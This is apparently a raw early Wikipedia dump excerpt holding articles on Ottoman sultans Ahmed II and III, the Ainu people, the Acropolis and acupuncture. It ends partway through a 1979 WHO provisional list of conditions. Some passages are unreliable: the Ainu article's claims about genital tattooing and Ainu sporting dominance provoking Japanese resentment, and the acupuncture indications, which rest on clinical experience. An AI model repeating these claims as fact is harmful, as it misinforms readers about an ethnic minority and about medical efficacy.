His best known act was to confirm [[Mustafa Köprülü]] as [[grand vizier]]. Only a few weeks after his accession the Ottoman Empire sustained a crushing defeat at the [[Battle of Slankamen]] from the [[Austrian]]s under Margrave [[Louis William, Margrave of Baden-Baden|Louis William]] of [[Grand Duchy of Baden|Baden]] and was driven from [[Hungary]]. During the four years of his reign disaster followed on disaster, and in 1695 Ahmed died, worn out by disease and sorrow. 

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[[Category:1643 births|Ahmed II]]
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  <page>
    <title>Ahmed III</title>
    <id>1529</id>
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      <text xml:space="preserve">[[Image:Ahmed III.jpg|thumb|Sultan Ahmed III]]
[[Image:Koceks - Surname-i Vehbi.jpg|thumb|right|180px|[[Kocek|Köçeks]] at a fair. Köçek troupe dancing at Sultan [[Ahmed III]]'s 14-day celebration of his sons' circumcision in 1720. Miniature from the ''Surname-i Vehbi'', [[Topkapi Palace]], [[Istanbul]].]]

'''Ahmed III''' (Arabic {{ar|أحمد الثالث}}) (born [[December 30]], [[1673]], died [[1736]]) was a [[sultan]] of the [[Ottoman Empire]] and a son of sultan [[Mehmed IV]]. He succeeded to the throne in 1703 on the abdication of his brother [[Mustafa II]].

Ahmed cultivated good relations with [[England]], in view doubtless of [[Russia]]'s menacing attitude. He afforded a refuge in Turkey to [[Charles XII of Sweden]] after the Swedish defeat at the hands of [[Peter I of Russia|Peter the Great]] in the [[Battle of Poltava]] in 1709. Forced against his will into war with Russia, he came nearer than any Turkish  sovereign before or since to breaking the power of his northern rival, whom his [[grand vizier]] [[Baltaji Mahommed Pasha]] succeeded in completely surrounding near the [[Prut River]] in 1711.

In the treaty which Russia was compelled to sign, the Ottoman Empire obtained the restitution of [[Azov]], the destruction of the forts built by Russia and the undertaking that the [[tsar]] should abstain from future interference in the affairs of the [[Poland|Poles]] or the [[Cossacks]]. Discontent at the leniency of these terms was so strong at [[Constantinople]] that it nearly brought on a renewal of the war.

In 1715 the [[Morea]] was taken from the [[Republic of Venice|Venetians]]. This led to hostilities with [[Austria]], in which the Ottoman Empire was unsuccessful, and [[Belgrade]] fell into the hands of Austria in 1717. Through the mediation of England and the [[Netherlands]] the [[peace of Passarowitz]] was concluded in 1718, by which Turkey retained her conquests from the Venetians, but lost [[Hungary]].

A war with [[Persian Empire|Persia]] terminated in disaster, leading to a revolt of the [[Janissary|janissaries]], who deposed Ahmed in September 1730. He died in captivity six years later. 

Nevsehirli Damad Ibrahim Pasha directed the government from 1718 to 1730.
{{Details|Nevsehirli Damad Ibrahim Pasha}}

The course of the Persian war, in which the Turks had at made successive conquests with little check from the armies, though often impeded by the nature of the country the fierce spirit of the native tribes, became after a few years less favourable to Ottoman ambition. The celebrated Nadir Konli Khan (who afterwards reconquered and conquered states for himself), gained his first renown by exploits against the enemies of Shah Tahmasp. A report reached Constantinople that the lately despised Persians were victorious, and were invading the Ottoman Empire. This speedily caused excitement and tumult. Sultan Ahmet had become unpopular by reason of the excessive pomp and costly luxury in which he and his principal officers indulged; and on [[20 September]], [[1730]], a mutinous riot of seventeen janissaries, led by the Albanian Patrona Khalil, was encouraged by the citizens as well as the soldiery, till it swelled into an insurrection, before which the Sultan quailed, and gave up the throne. Ahmet voluntarily led his nephew Mahmut to the seat of sovereignty, and made obeisance to him as Padischah of the empire. He then retired to the apartments in the palace from whence his successor had been conducted, and died after a few years of confinement.

The reign of Ahmet III, which had lasted for twenty-seven years, though marked by the deep disasters of the Austrian war, was, on the whole, neither inglorious nor unprosperous. The recovery of Azov and the Morea, and the conquest of part of Persia, more than counterbalanced the territory which had been given up to the Austrian Emperor at the peace of Passarowitz. Ahmet left the finances of the Ottoman Empire in a flourishing condition, which had been obtained without excessive taxation or extortionate rapacity. He was a liberal and discerning patron of literature and art; and it was in his time that the first printing press was set up in Constantinople. It was in this reign that an important change in the government of the Danubian Principaiitics was introduced. Hitherto, the [[Porte]] had employed Voivode.s, or native [[Moldavia]]n and [[Wallachia]]n nobles, to administer those provinces. But after the war with [[Peter I of Russia|Peter the Great]] in 1711, in which Prince Cantcinir betrayed the Turkish and aided the Russian interests, the Porte established the custom of deputing Greeks from Constantinople as [[Hospodar]]s, or viceroys, of Moldavia and Wallachia. These were generally selected from among the wealthy Greek families that inhabited the quarter of Constantinople called the [[Fanar]], and constituted a kind of Raya Noblesse, which supplied the Porte with functionaries in many important departments of the state. The Moldo-Wallachians called the period of their history, during which they were under Greek viceroys (and which lasted till 1821), the Fanariote period.

==References==
* {{1911}}
* This article inncorporates text from ''History of Ottoman Turks'' (1878)

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[[Category:1673 births|Ahmed III]]
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[[Category:Sultans of the Ottoman Empire]]

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  <page>
    <title>Ainu people</title>
    <id>1530</id>
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      <comment>format</comment>
      <text xml:space="preserve">{{Ethnic group|
|group=Ainu
|image=[[Image:AinuGroup.JPG|320px]] Group of Ainu people, 1904 photograph.
|poptime=
'''50,000''' people with half or more Ainu ancestry&lt;br&gt;
'''150,000''' Japanese people with some Ainu ancestry&lt;br&gt;
*(''some estimates on the number of Japanese with some Ainu blood range as high as '''1,000,000'''; the exact number is unknown'')&lt;br&gt;
Pre-Japanese era: ~'''50,000''', almost all pure Ainu
|popplace=[[Japan]]&lt;br&gt;
[[Russia]]
|langs='''[[Ainu language|Ainu]]''' is the traditional language, but today somewhere between 1% and 5% of Ainu can speak it fluently, between 5% and 10% are [[passive speakers]] or [[partial speakers]], and about 50% of Ainu have a very basic command of the language
|rels=[[Animism]], some are members of the [[Russian Orthodox Church]]
|related= Modern genetics has proven they are East Asians.  They are usually grouped with the non-[[Tungus]]ic peoples of [[Sakhalin]], the [[Amur]] river valley, and the [[Kamchatka peninsula]]:
*[[Nivkhs]]
*[[Itelmens]]
*[[Chukchis]]
*[[Koryaks]]
*[[Aleuts]]
}}

The '''Ainu''' ([[International Phonetic Alphabet|pronounced]] {{IPA|/ˈainu/}}, &quot;eye-noo&quot;, アイヌ / aynu) are an ethnic group [[indigenous peoples|indigenous]] to [[Hokkaido]], the northern part of [[Honshu]] in Northern [[Japan]], the [[Kuril Islands]], much of [[Sakhalin]], and the southernmost third of the [[Kamchatka peninsula]]. The word &quot;ainu&quot; means &quot;human&quot; in the [[Ainu language]]; '''[[Emishi]]''', '''[[Ezo]]''' or '''[[Yezo]]''' (&amp;#34662;&amp;#22839;) are [[Japanese language|Japanese]] terms; and '''[[Utari]]''', &amp;#12454;&amp;#12479;&amp;#12522;, (meaning &quot;comrade&quot; in Ainu) is now preferred by some members. There are most likely over 150,000 Ainu today, however the exact figure is not known as many Ainu hide their origins or in many cases are not even aware of them, their parents having kept it from them so as to protect their children from racism.

==Origins==
The origins of the Ainu are uncertain. Some commentators believe that they derive from an ancient proto-Asian stock that may have occupied most of Asia before the [[Han Chinese|Han]] expansion (see [[Jomon|Jomon people]]). Various other Asian [[indigenous peoples]], from the [[Ryukyu]]s to the [[Taiwanese]] are also thought to be related to them.

In the early 20th century [[anthropology|anthropologists]] debated what [[Typology#Anthropology|typological classification]] (such as [[Mongoloid]] or [[Caucasoid]]) the Ainu belonged to.  The typological models of [[Race (historical definitions)|racial classification]] in use at that time have since undergone significant revision, in the light of developments in fields such as [[genetics]]. Many physical characteristics which had been employed to distinguish &quot;Mongoloid&quot;, &quot;Caucasoid&quot; or other racial-types are viewed by many contemporary authorities to arise more typically from climatic or environmental selection, rather than necessary indicators of relatedness/distinctiveness. While a minority still hold to the view that race typology usefully reflects underlying biological differences, the classification of &quot;Mongoloid&quot; versus other groups is mostly seen as being problematic. ''See also [[Tocharians]] and [[Sami]]''

The prevailing mythology in Japan has been of the Ainu as a race of &quot;noble savages,&quot; a proud but reclusive culture of hunter-gatherers.  This mythology became a useful defense for the Japanese expropriation of Ainu lands.  In fact, the Ainu were farmers from the earliest centuries of the [[Common Era]].[http://www.pbs.org/wgbh/nova/hokkaido/ainu.html]

==North American Connection==
In the late 20th Century, much speculation arose that the Ainu may have been one of the first groups to settle [[North America]].  This theory is based largely on skeletal and cultural evidence among tribes living in the western part of North America and certain parts of [[Latin America]].  It is quite possible that North America had several peoples among its early settlers--the Ainu being one of them, perhaps even the first.  The most well known instance supporting this theory is probably [[Kennewick Man]].

Genetic mapping studies by [[Cavalli-Sforza]] have shown a pattern of genetic expansion from the area of the [[Sea of Japan]] towards the rest of eastern Asia and the American continent. This appears as the third most important genetic movement in Eastern Asia (after the &quot;Great expansion&quot; from the African continent, and a second expansion from the area of Northern Siberia), which would make it consistent with the early [[Jomon]] period &lt;ref&gt;&quot;The synthetic maps suggest a previously unsuspected center of expansion from the Sea of Japan but cannot indicate dates. This development could be tied to the Jomon period, but one cannot entirely exclude the pre-Jomon period and that it might be responsible for a migration to the Americas. A major source of food in those pre-agricultural times came from fishing, then as now, and this would have limited for ecological reasons the area of expansion to the coastline, perhaps that of the Sea of Japan, but also father along the Pacific Coast&quot; &quot;The History and Geography of Human Genes&quot; p253, Cavalli-Sforza ISBN 0691087504&lt;/ref&gt;.

==History==
At first, contact with the [[Japanese people]] was friendly and both were equals in a trade relationship. However, eventually the Japanese started to dominate the relationship, and soon established large settlements on the outskirts of Ainu territory. As the Japanese moved north and took control over their traditional lands, the Ainu often gave up without resistance, but there was occasional resistance as exemplified in wars in [[1457]], [[1669]], and [[1789]], all of which were lost by the Ainu. Japanese policies became increasingly aimed at assimilating the Ainu in the [[Meiji period]], outlawing their language and restricting them to farming on government-provided plots. Ainu were also used in near-slavery conditions in the Japanese fishing industry. The island of Hokkaido was called ''Ezo'' or ''Ezo-chi'' during the [[Edo period]]. Its name was changed to Hokkaido during the [[Meiji Restoration]] as part of the programme to &quot;unify&quot; the Japanese national character under the aegis of the Emperor, thus reducing the local identity and autonomy of the different regions of Japan.

As Japanese citizens, the Ainu are now governed by Japanese laws (though one Ainu man was acquitted of murder because he asserted that he was not a Japanese citizen and the judge agreed{{fact}}) and judged by Japanese tribunals, but in the past, their affairs were administered by hereditary chiefs, three in each village, and for administrative purposes the country was divided into three districts, [[Saru]], [[Usu (district)|Usu]] and [[Ishikari]], which were under the ultimate control of Saru, though the relations between their respective inhabitants were not close and intermarriages were avoided. The functions of judge were not entrusted to these chiefs; an indefinite number of a community's members sat in judgement upon its criminals. Capital punishment did not exist, nor was imprisonment resorted to, beating being considered a sufficient and final penalty, except in the case of murder, when the nose and ears of the culprit were cut off or the tendons of his feet severed. Intermarriages between Japanese and Ainu are not infrequent, and at [[Sambutsu]] especially, on the eastern coast, many children of such marriages may be seen.

Today, many Ainu dislike the term Ainu and prefer to identify themselves as ''Utari'' (''comrade'' in the Ainu language). In official documents both names are used.

==Geography==
For historical reasons (primarily the [[Russo-Japanese War]]), nearly all Ainu live in Japan.

There is, however, a small number of Ainu living on [[Sakhalin]], most of them descendants of Sakhalin Ainu who were evicted and later returned. There is also an Ainu minority living at the southernmost area of the Kamchatka Peninsula and on the Kurile Islands. However, the only Ainu speakers remaining (besides perhaps a few partial speakers) live solely in Japan. There, they are concentrated primarily on the southern and eastern coasts of the island of [[Hokkaido]].

Due to intermarriage with the Japanese and ongoing absorption into the predominant culture, few living Ainu settlements exist. Many &quot;authentic Ainu villages&quot; advertised in Hokkaido are simply tourist attractions.

==Language==
The [[Ainu language]] is significantly different from [[Japanese language|Japanese]] in its [[syntax]], [[phonology]], [[morphology (linguistics)|morphology]], and vocabulary. Although there have been attempts to show that they are related, the vast majority of modern scholars reject that the relationship goes beyond contact, i.e., mutual borrowing of words between Japanese and Ainu. In fact, no attempt to show a relationship with Ainu to any other language has gained wide acceptance, and Ainu is currently considered to be a [[language isolate]].
&lt;!--ethnologue data is incorrect; see [[ainu language]]--&gt;
==Culture==
Traditional Ainu culture is quite different from Japanese culture. Never shaving after a certain age, the men had full [[beard]]s and [[moustache]]s. Men and women alike cut their [[hair]] level with the shoulders at the sides of the head, but trimmed it semicircularly behind. The [[women]] [[tattoo]]ed their [[mouth]]s, [[arm]]s, [[Clitoris|clitorides]], and sometimes their [[forehead]]s, starting at the onset of [[puberty]]. The soot deposited on a pot hung over a fire of birch bark was used for [[colour]]. Their traditional [[dress]] is a robe spun from the bark of the elm tree. It has long sleeves, reaches nearly to the feet, is folded round the body, and is tied with a girdle of the same material. Women also wear an undergarment of Japanese cloth. In winter the skins of animals were worn, with leggings of deerskin and boots made from the skin of dogs or [[salmon]]. Both sexes are fond of earrings, which are said to have been made of [[grape]]vine in former times, as also are bead necklaces called [[tamasay]], which the women prized highly. Their traditional cuisine consists of the flesh of [[bear]], [[fox]], [[wolf]], [[badger]], [[ox]] or [[horse]], as well as [[fish]], [[fowl]], [[millet]], [[vegetable]]s, [[herb]]s, and [[root]]s. They never ate raw [[fish]] or flesh, but always either boiled or roasted it. Their traditional habitations were reed-thatched huts, the largest 20 ft. square, without partitions and having a fireplace in the centre.  There was no chimney, but only a hole at the angle of the roof; there was one window on the eastern side and there were two doors. The house of the village head was used as a public meeting place when one was needed. Instead of using furniture, they sat on the floor, which was covered with two layers of mats, one of rush, the other of flag; and for beds they spread planks, hanging mats around them on poles, and employing skins for coverlets. The men used [[chopstick]]s when eating; the women had wooden [[spoon]]s. [[Ainu cuisine]] is uncommonly eaten outside Ainu communities; there are only a few Ainu restaurants in Japan, all located in [[Tokyo]] and [[Hokkaido]].

===Religion===
The Ainu believe in [[Animism]], or that everything in nature has a ''[[kami|kamuy]]'' (spirit or god) on the inside. There is a hierarchy of the ''kamuy''. The most important is grandmother hearth ([[fire]]), then ''kamuy'' of the [[mountain]] (animals), then ''kamuy'' of the [[sea]] ([[Marine biology|sea animals]]), lastly everything else. They have no [[priests]] by profession. The village chief performs whatever religious ceremonies are necessary; ceremonies are confined to making libations of [[sake|rice beer]], uttering [[prayers]], and offering [[willow]] sticks with wooden shavings attached to them. These sticks are called [[Inau]] (singular) and [[Inau|nusa]] (plural).  They are placed on an altar used to sacrifice the heads of killed animals. The Ainu people give thanks to the gods before eating and pray to the deity of fire in time of [[sickness]]. They believe their spirits are [[immortal]], and that their spirits will be rewarded hereafter by ascending to ''kamuy mosir'' (Land of the Gods).

Some Ainu in the north are members of the [[Russian Orthodox Church]].

===Sport===
The Ainu excel at many competitive physical activities. Due to their taller physical build, the Ainu have outshone the ethnic Japanese in typically Western sports like [[baseball]], [[football (soccer)|football]] (soccer), and [[track and field]] events. This has engendered much resentment from the ethnic Japanese but the athletic feats of the Ainu people are still celebrated throughout Asia nonetheless (Fitzhugh, 364-366)

==Institutions==
There are many different organizations of Ainu trying to further their cause in many different ways. There is an umbrella group of which most Hokkaido Ainu and some other Ainu are members, called the [[Hokkaido Utari Association]], originally controlled by the government with the intention of speeding Ainu assimilation and integration into the Japanese nation-state but which now operates mostly independently of the government and is run exclusively by Ainu.

[[Image:FlagofAinuNation.png|thumb|300px|Flag of the Ainu people. The Ainu flag was designed by the late Mr. Bikki Sunazawa in 1973. [[Cerulean blue]] stands for sky and sea, white for snow and red for arrow which is running in the snow beneath Hokkaido's sky. --''Nozomi Kariyasu'', March 21, 1999]]

==Subgroups==
*[[Tohoku Ainu]] (from [[Honshu]], no known living population)
*[[Hokkaido Ainu]]
*[[Sakhalin Ainu]]
*[[Kuril Ainu]] (no known living population)
*[[Kamchatka Ainu]]
*[[Amur Valley Ainu]] (probably none remain)

==See also==
*[[Ethnic issues in Japan]]
*[[Yukar]]
*[[Ainu music]]
*[[Honshu]]
*[[Hokkaido]]
*[[Sakhalin]]
*[[Kuril Islands]]
*[[Kamchatka peninsula]]
*[[Shogun]]
*[[Kennewick Man]]

==Notes==
&lt;references/&gt;

==References==
{{1911}}
*Article on the Ainu in ''Japan's Minorities: The Illusion of Homogeneity''.
*Kayano, Shigeru. ''Our Land Was a Forest: An Ainu Memoir'' (1994).  Translated by Kyoko Selden and Lili Selden.  Foreword by Mikiso Hane.  Transitions--Asia and Asian America series.  Boulder, Colorado: Westview Press.
*{{cite book|author=Fitzhugh, W.|year=2004|title=Ainu:Spirit of a Northern People|publisher=Seattle: University of Washington Press|id=ISBN 0295979127}}

==External links==
*[http://www.ainu-museum.or.jp/english/english.html The Ainu Museum]
*[http://www.mnh.si.edu/arctic/features/ainu/ Smithsonian Institute]
*[http://www.ainu-assn.or.jp/ Nippon Utari Kyokai]
*[http://www.molli.org.uk/explorers/the_regions/north_america.asp Ainu-North American cultural similarities]
*[http://www.rgj.com/news/specials/story9.html Spirit Cave Man May Rewrite Continent's History]
*[http://www.frpac.or.jp/eng/e_prf/index.html Foundation for Research and Promotion of Ainu Culture]
*[http://www.cwo.com/~lucumi/shogun.html Ainu Lineage]

[[Category:Indigenous peoples of Asia]]
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[[Category:Ethnic groups in Japan]]		
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      <text xml:space="preserve">:''This article is about '''acropolis''' in general. For the best-known example of the kind, see [[Acropolis, Athens]].''

[[image:Athens_Acropolis.jpg|thumb|250px|Acropolis in [[Athens]].]]
'''Acropolis''' (Gr. ''akros,'' top, ''polis,'' city), literally the upper part of a town. For purposes of defence early settlers naturally chose elevated ground, frequently a hill with precipitous sides, and these early citadels became in many parts of the world the nuclei of large cities which grew up on the surrounding lower ground. 

The word &quot;Acropolis&quot;, though Greek in origin and associated primarily with Greek cities ([[Athens]], [[Argos]], [[Thebes, Greece|Thebes]], and [[Corinth]] with its [[Acrocorinth]]), may be applied generically to all such citadels ([[Rome]], [[Jerusalem]], Celtic [[Bratislava]], many in [[Asia Minor]], or even Castle Hill at [[Edinburgh]]). 

The most famous example of the kind is the [[Acropolis, Athens|Acropolis of Athens]], which, by reason of its historical associations and the famous buildings erected upon it, is generally known without qualification as simply &quot;The Acropolis&quot;.

Because of its classical Greco-Roman style, the ruins of [[Mission San Juan Capistrano|Mission San Juan Capistrano's]] &quot;Great Stone Church&quot; (in [[California|California, United States]]) have been dubbed the &quot;American Acropolis&quot;.

Other parts of the world developed other names for the high [[citadel]] or [[alcázar]], which often reinforced a naturally strong site. In Central [[Italy]], many small rural [[comune|commune]]s still cluster at the base of a fortified habitation known as &quot;La Rocca&quot; of the commune.

The term ''Acropolis'' is also used to described the central complex of overlapping structures, such as plazas and pyramids, in many [[Maya]]n cities, including [[Tikal]] and [[Copán]].

{{commons|Acropolis}}

[[Category:Classical studies]]

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    <title>Acupuncture</title>
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      <text xml:space="preserve">[[Image:Acupuncture chart 300px.jpg|thumb|right|175px|Acupuncture chart from the [[Ming dynasty]].]]
'''Acupuncture''' (from Lat. ''acus,'' &quot;needle&quot; (noun), and ''pungere,'' &quot;prick&quot; (verb) or in [[Standard Mandarin]], zhēn jiǔ (針灸) is one of the main branches of [[Traditional Chinese Medicine]], or TCM (others being [[herbal medicine]] and [[tui na]]). It is a [[therapy|therapeutic]] technique from that framework intended to restore health and well-being. The technique involves the insertion of needles into &quot;[[acupuncture point]]s&quot; on the body by trained practitioners. The needles most commonly used in present-day practice are made of [[stainless steel]] and are of approximately the same diameter as a medium thickness guitar string (approximately .01&quot; to .02&quot;).  Acupuncture and related practices predate modern concepts of [[science]], and most but not all of its claims are not yet verified in modern studies and clinical practice to the standards of the [[Cochrane Collaboration]].

==History==
In [[China]], the practice of acupuncture can perhaps be traced as far back as the [[1st millennium BC|1&lt;sup&gt;st&lt;/sup&gt; millennium BC]], and archeological evidence has been identified with the period of the [[Han dynasty]] (from 202 [[Anno Domini|BC]] to 220 [[Anno Domini|AD]]). The practice spread centuries ago into many parts of Asia; in modern times it is a component of [[traditional Chinese medicine]] (TCM), and forms of it are also described in the literature of [[traditional Korean medicine]] where it is called ''chimsul''. It is also important in [[Kampo]], the traditional medicine system of [[Japan]].

The earliest Chinese medical texts (Ma-wang-tui graves 68 BC) do not mention acupuncture. Later in Chinese history, 365 points along the meridians were spoken of, not because they were anatomically identified, but because there are 365 days in a year. Different acupuncture charts give different numbers and locations of points. 

The Chinese medical text that first describes acupuncture is The Yellow Emperor’s ''Classic of Internal Medicine (History of Acupuncture)''.  Some hieroglyphics have been found dating back to 1000 BC that may indicate an early use of acupuncture.  Bian stones, sharp pointed stones used to treat diseases in ancient times, have also been discovered in ruins (History of Acupuncture in China) but are not directly related to acupuncture.

RC Crozier in the book ''Traditional medicine in modern China'' (Harvard University Press, Cambridge, 1968) says the early Chinese Communist Party expressed considerable antipathy towards TCM, ridiculing it as superstitious, irrational and backward, and claiming that it conflicted with the Party’s dedication to science as the way of progress. Acupuncture was included in this criticism.  Reversing this position, Communist Party Chairman [[Mao]] later said that &quot;Chinese medicine and pharmacology are a great treasure house and efforts should be made to explore them and raise them to a higher level&quot;[http://www.healthy.net/scr/article.asp?ID=1708].  [[Barefoot doctors]] were trained to provide inexpensive health care in rural Chinese communities.  After the [[Cultural Revolution]], TCM instruction was incorporated into university medical curricula under the &quot;Three Roads&quot; policy, wherein TCM, biomedicine and a synthesis of the two would all be encouraged and permitted to develop.

==Acupuncture in modern medicine==
Medical law in the [[United States]] regarding acupuncture varies widely from state to state. Notably, states furthest to the west ([[Hawaii]] most particularly, [[California]], etc.) have the most comprehensive laws and regulations regarding acupuncture.  In many U.S. states -- those furthest to the east -- medical doctors (M.D.s) are permitted to practice acupuncture with no specific training in acupuncture.  In some states, acupuncturists are required to work with an M.D. in a subservient relationship, even if the M.D. has no training in acupuncture.  Contrastingly, Hawaii forbids M.D.s to practice acupuncture unless they have received specific training in it and have demonstrated related competency.

Acupuncture is becoming accepted today.  Over fifteen million Americans in 1994 tried acupuncture.  In 1996, the [[FDA]] changed the status of acupuncture needles from Class III to Class II medical devices, meaning that needles are regarded as safe and effective when used appropriately by licensed practitioners [http://www.fda.gov/fdac/departs/596_upd.html] [http://www.fda.gov/cdrh/pmapage.html].  Acupuncture is also in the curriculum of many colleges today.  

In Australia, the legalities of practicing acupuncture also vary by state. In 2000, an independent government agency was established to oversee the practice of Chinese Herbal Medicine and Acupuncture in the state of Victoria. The Chinese Medicine Registration Board of Victoria [http://www.cmrb.vic.gov.au/] aims to protect the public, ensuring that only apropriately experienced or qualified practitioners are registered to practice Chinese Medicine. The legislation put in place stipulates that only practitioners who are state registered may use the following titles: Acupuncture, Chinese Medicine, Chinese Herbal Medicine, Registered Acupuncturist, Registered Chinese Medicine Practitioner, Registered Chinese Herbal Medicine Practitioner. 

Warming an acupuncture point, typically by [[moxibustion]] (the burning of [[mugwort]]), is a different treatment than acupuncture itself and is often, but not exclusively, used as a supplementing treatment. The Chinese term zhēn jǐu (針灸), commonly used to refer to acupuncture, comes from ''zhen'' meaning &quot;needle&quot;, and ''jiu'' meaning &quot;moxibustion&quot;. Moxibustion is still used in the [[21st century|21&lt;sup&gt;st&lt;/sup&gt; century]] to varying degrees among the schools of traditional Chinese medicine. For example, one well known technique is to insert the needle at the desired acupuncture point, attach dried mugwort to the external end of an acupuncture needle, and then ignite the mugwort. The mugwort will then smolder for several minutes (depending on the amount adhered to the needle) and conduct heat through the needle to the tissue surrounding the needle in the patient's body.

Most modern acupuncturists use disposable [[stainless steel]] needles of very fine [[diameter]] (approximately .015&quot;), sterilized with [[ethylene oxide]] or by [[autoclave]]. The upper third of these needles is wound with a thicker wire (typically bronze) to stiffen the needle, provide a handle for the acupuncturist to grasp while inserting the needle, and also provide a surface to which dried mugwort will more easily adhere.

==Theory==
Acupuncture treats the human body as a whole that involves several &quot;systems of function&quot; that are in many cases associated with (but not identified on a one-to-one basis with) physical organs. Some systems of function, such as the &quot;triple heater&quot; ([[San Jiao]], also called the &quot;triple burner&quot;) have no corresponding physical organ.  Disease is understood as a loss of homeostasis among the several systems of function, and treatment of disease is attempted by modifying the activity of one or more systems of function through the activity of needles, pressure, heat, etc. on sensitive parts of the body of small volume traditionally called &quot;acupuncture points&quot; in English, or &quot;xue&quot; (穴, cavities) in Chinese.

Treatment of acupuncture points may be performed along the twelve main or eight extra [[meridian (Chinese medicine)|meridians]], located throughout the body. Of the eight extra meridians, only two have acupuncture points of their own. The other six meridians are &quot;activated&quot; by using a master and couple point technique which involves needling the acupuncture points located on the twelve main meridians that correspond to the particular extra meridian. Ten of the main meridians are named after organs of the body (Heart, Liver, etc.), and the other two are named after so called body functions (Heart Protector or [[Pericardium]], and ''San Jiao''). The two most important of the eight &quot;extra&quot; meridians are situated on the midline of the anterior and posterior aspects of the trunk and head.
The twelve primary meridians run vertically, bilaterally, and symmetrically and every channel corresponds to and connects internally with one of the twelve [[Zang Fu]] (&quot;organs&quot;).  This means that there are six [[yin]] and six [[yang]] channels. There are three [[yin]] and three [[yang]] channels on each arm, and three [[yin]] and three [[yang]] on each leg.

The three [[yin]] channels of the hand ([[Lung]], [[Pericardium]], and [[Heart]]) begin on the chest and travel along the inner surface (mostly the anterior portion) of the arm to the hand.

The three [[yang]] channels of the hand ([[Large intestine]], [[San Jiao]], and [[Small intestine]]) begin on the hand and travel along the outer surface (mostly the posterior portion) of the arm to the head.

The three [[yang]] channels of the foot ([[Stomach]], [[Gallbladder]], and [[Urinary bladder|Bladder]]) begin on the face, in the region of the eye, and travels down the body and along the outer surface (mostly the anterior and lateral portion) of the leg to the foot.

The three [[yin]] channels of the foot ([[Spleen]], [[Liver]], and [[Kidney]]) begin on the foot and travel along the inner surface (mostly posterior and medial portion)  of the leg to the chest or flank.

The movement of [[qi]] through each of the twelve channels is comprised of an internal and an external pathway.  The external pathway is what is normally shown on an acupuncture chart and it is relatively superficial.  All the acupuncture points of a channel lie on its external pathway.  The internal pathways are the deep course of the channel where it enters the body cavities and related Zang-Fu organs.  The superficial pathways of the twelve channels describe three complete circuits of the body.

The distribution of [[psuedoscience|energy]] through the meridians is said to be as follows:
Lung channel of hand [[taiyin]] to Large Intestine channel of hand [[yangming]] to Stomach channel of foot [[yangming]] to Spleen channel of foot [[taiyin]] to Heart channel of hand [[shaoyin]] to Small Intestine channel of hand [[taiyang]] to Bladder channel of foot [[taiyang]] to Kidney channel of foot [[shaoyin]] to Pericardium channel of hand [[jueyin]] to [[San Jiao]] channel of hand [[shaoyang]] to Gallbladder channel of foot [[shaoyang]] to Liver channel of foot [[jueyin]] then back to the Lung channel of hand [[taiyin]]

Traditional Chinese medical theory holds that acupuncture works by normalizing the balance of  ''[[qi]]'' &quot;vital energy&quot; throughout the body. Pain or illnesses are treated by attempting to remedy local or systemic accumulations or deficiencies of qi. Pain is considered to indicate blockage or stagnation of the flow of qi, and an axiom of the medical literature of acupuncture is &quot;no pain, no blockage; no blockage, no pain&quot;.

Many patients claim to experience the sensations of stimulus known in Chinese as &quot;deqi&quot; (得氣 &quot;obtaining the qi&quot;). This kind of sensation was historically considered to be evidence of effectively locating the desired point.  There are some electronic devices now available which will make a noise when what they have been programmed to describe as the &quot;correct&quot; acupuncture point is pressed.

The [[acupuncturist]] will decide which points to treat by thoroughly questioning the patient, and utilizing the diagnostic skills of [[traditional Chinese medicine]] which include observation of the left and right radial pulses at three levels of imposed pressure and analysis of the tongue coating, color and the absence or presence of teeth marks around the edge.

There are also theories being developed to explain effects observed for acupuncture within the orthodox Western medical paradigm.

According to the NIH consensus statement on acupuncture[http://consensus.nih.gov/1997/1997Acupuncture107html.htm]:
: Despite considerable efforts to understand the anatomy and physiology of the &quot;acupuncture points&quot;, the definition and characterization of these points remains controversial. Even more elusive is the basis of some of the key traditional Eastern medical concepts such as the circulation of [[Qi]], the meridian system, and the five phases theory, which are difficult to reconcile with contemporary biomedical information but continue to play an important role in the evaluation of patients and the formulation of treatment in acupuncture.

==An example of acupuncture practice==

[[Image:Acupuncture.jpg|thumb|250px|right|Acupuncture]]
In western medicine, vascular headaches (the kind that are accompanied by throbbing veins in the temples) are typically treated with analgesics such as aspirin and/or by the use of agents such as niacin that dilate the affected blood vessels in the scalp, but in acupuncture a common treatment for such headaches is to stimulate the sensitive points that are located roughly in the center of the webs between the thumbs and the palms of the patient, the ''hé gǔ'' points. These points are described by acupuncture theory as &quot;targeting the face and head&quot; and are considered to be the most important point when treating disorders affecting the face and head.  The patient reclines, and the points on each hand are first sterilized with alcohol, and then thin, disposable needles are inserted to a depth of approximately 3-5 mm until a characteristic &quot;twinge&quot; is felt by the patient, often accompanied by a slight twitching of the muscle between the thmb and hand.  Most patients report a pleasurable &quot;tingling&quot; sensation and feeling of relaxation while the needles are in place.  The needles are retained for 15-20 minutes while the patient rests, and then are removed. 

In the clinical practice of acupuncturists, patients frequently report one or more of certain kinds of sensation that are associated with this treatment, sensations that are stronger than those that would be felt by a patient not suffering from a vascular headache: (1) Extreme sensitivity to pain at the points in the webs of the thumbs. (2) In bad headaches, a feeling of nausea that persists for roughly the same period as the stimulation being administered to the webs of the thumbs. (3) Simultaneous relief of the headache. (See ''Zhen Jiu Xue'', p. 177f et passim.)

The [[Cochrane Collaboration]], an international organization dedicated to [[evidence-based medicine]], concluded from [[peer-reviewed]] research that &quot;(o)verall, the existing evidence supports the value of acupuncture for the treatment of idiopathic headaches. However, the quality and amount of evidence are not fully convincing. There is an urgent need for well-planned, large-scale studies to assess the effectiveness and cost-effectiveness of acupuncture under real-life conditions.&quot; [http://www.cochrane.org/reviews/en/ab001218.html].

==Indications and research==

In 1979, an interregional seminar in [[Beijing]] sponsored by [[World Health Organization]] drew up the following provisional list of diseases that lend themselves to acupuncture treatment. The list is based on clinical experience, and not necessarily on controlled clinical research: furthermore, the inclusion of specific diseases are not meant to indicate the extent of acupuncture's efficacy in treating them [http://www.aaom.org/default.asp?pagenumber=47494]. 


:Upper Respiratory Tract
::* Acute sinusitis
::* Acute rhinitis
::* Common Cold
::* Acute tonsillitis

:Respiratory System
::* Acute bronchitis
::* Bronchial asthma (most effective in children and in patients without complicating diseases)

:Disorders of the Eye

::* Acute conjunctivitis
::* Central retinitis
::* Myopia (in children)
::* Cataract (without complications)

:Disorders of the Mouth
::* Toothache, post-extraction pain
::* Gingivitis
::* Acute and chronic pharyogitis

:Gastro-intestinal Disorders
::* Spasms of esophagus and cardia
::* Hiccough
::* Gastroptosis
::* Acute and chronic gastritis
::* Gastric hyperacidity
::* Chronic duodenal ulcer (pain relief)
